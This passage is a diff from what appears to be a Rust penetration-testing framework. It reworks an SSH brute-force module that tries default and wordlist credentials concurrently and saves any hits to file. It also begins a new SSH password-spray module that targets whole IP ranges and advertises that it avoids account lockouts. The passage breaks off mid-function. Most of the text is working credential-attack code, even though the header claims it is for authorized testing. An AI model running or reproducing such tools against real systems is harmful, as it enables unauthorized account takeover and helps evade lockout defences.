||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "snmp_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
}
|
||||
|
||||
|
||||
@@ -2,23 +2,24 @@ use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
path::{Path, PathBuf},
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::Instant,
|
||||
net::TcpStream,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
io::Write,
|
||||
};
|
||||
use regex::Regex;
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, Duration, timeout},
|
||||
time::{sleep, timeout},
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_yes_no,
|
||||
prompt_existing_file, load_lines, get_filename_in_current_dir
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
@@ -39,93 +40,13 @@ const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("oracle", "oracle"),
|
||||
];
|
||||
|
||||
// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
retried_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
retried_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn record_retry(&self) {
|
||||
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
retries,
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string()).await?;
|
||||
match input.parse() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
|
||||
@@ -133,16 +54,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
|
||||
Some(prompt_existing_file("Username wordlist")?)
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
|
||||
Some(prompt_existing_file("Password wordlist")?)
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
@@ -152,7 +73,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
let input = prompt_default("Max concurrent tasks", "10").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 256 => break n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
@@ -160,17 +81,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5")?;
|
||||
let input = prompt_default("Connection timeout (seconds)", "5").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2")?;
|
||||
let input = prompt_default("Max retries per attempt", "2").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
@@ -180,17 +101,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
@@ -244,9 +165,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(HashSet::new()));
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
@@ -263,8 +185,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
});
|
||||
|
||||
// Generate credential pairs
|
||||
let mut tasks = Vec::new();
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
|
||||
for pass in passwords.iter() {
|
||||
@@ -293,6 +214,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = semaphore.clone();
|
||||
@@ -302,9 +224,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
let permit = semaphore_clone.acquire_owned().await.unwrap();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Acquire semaphore permit inside the spawned task
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
@@ -316,7 +245,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
|
||||
let mut found_guard = found_clone.lock().await;
|
||||
found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
// Check if already found to avoid duplicates
|
||||
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
|
||||
if !found_guard.contains(&entry) {
|
||||
found_guard.push(entry);
|
||||
}
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
@@ -332,17 +265,46 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
if retry_flag && retries < max_retries_clone {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> {}:{} (retry {}/{})", addr_clone, user_clone, pass_clone, retries, max_retries_clone).yellow());
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[!] {} -> {}:{} (retry {}/{}) - {}",
|
||||
addr_clone,
|
||||
user_clone,
|
||||
pass_clone,
|
||||
retries,
|
||||
max_retries_clone,
|
||||
msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
} else {
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> {}:{} error: {}", addr_clone, user_clone, pass_clone, e).red());
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -353,15 +315,19 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
// Wait for all tasks with FuturesUnordered
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final();
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
@@ -374,6 +340,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
// Use std::fs::File for simple writing
|
||||
use std::fs::File;
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
@@ -383,6 +351,61 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored SSH responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
let default_name = "ssh_unknown_responses.txt";
|
||||
let fname = prompt_default(
|
||||
&format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
),
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::fs::File;
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -396,9 +419,7 @@ async fn try_ssh_login(
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = timeout(
|
||||
timeout_duration,
|
||||
spawn_blocking(move || {
|
||||
let handle = spawn_blocking(move || {
|
||||
let tcp = TcpStream::connect(&addr_owned)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
@@ -413,123 +434,11 @@ async fn try_ssh_login(
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
Ok(sess.authenticated())
|
||||
}),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Connection timeout"))??;
|
||||
});
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_existing_file(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
let candidate = prompt_required(msg)?;
|
||||
if Path::new(&candidate).is_file() {
|
||||
return Ok(candidate);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
let join_result = timeout(timeout_duration, handle)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Connection timeout"))?;
|
||||
|
||||
join_result.map_err(|e| anyhow!("Join error: {}", e))?
|
||||
}
|
||||
|
||||
@@ -0,0 +1,494 @@
|
||||
//! SSH Password Spray Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
|
||||
//! Useful for avoiding account lockouts while testing common passwords.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_THREADS: usize = 20;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Password Spray ║".cyan());
|
||||
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Benefits: ║".cyan());
|
||||
println!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
println!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful: AtomicU64,
|
||||
failed: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful: AtomicU64::new(0),
|
||||
failed: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful.load(Ordering::Relaxed);
|
||||
let failed = self.failed.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// Credential result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SprayResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
/// Try SSH authentication
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
|
||||
match sess.userauth_password(username, password) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load list from file
|
||||
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let items: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(items)
|
||||
}
|
||||
|
||||
/// Main spray function
|
||||
pub async fn password_spray(
|
||||
targets: Vec<(String, u16)>,
|
||||
usernames: &[String],
|
||||
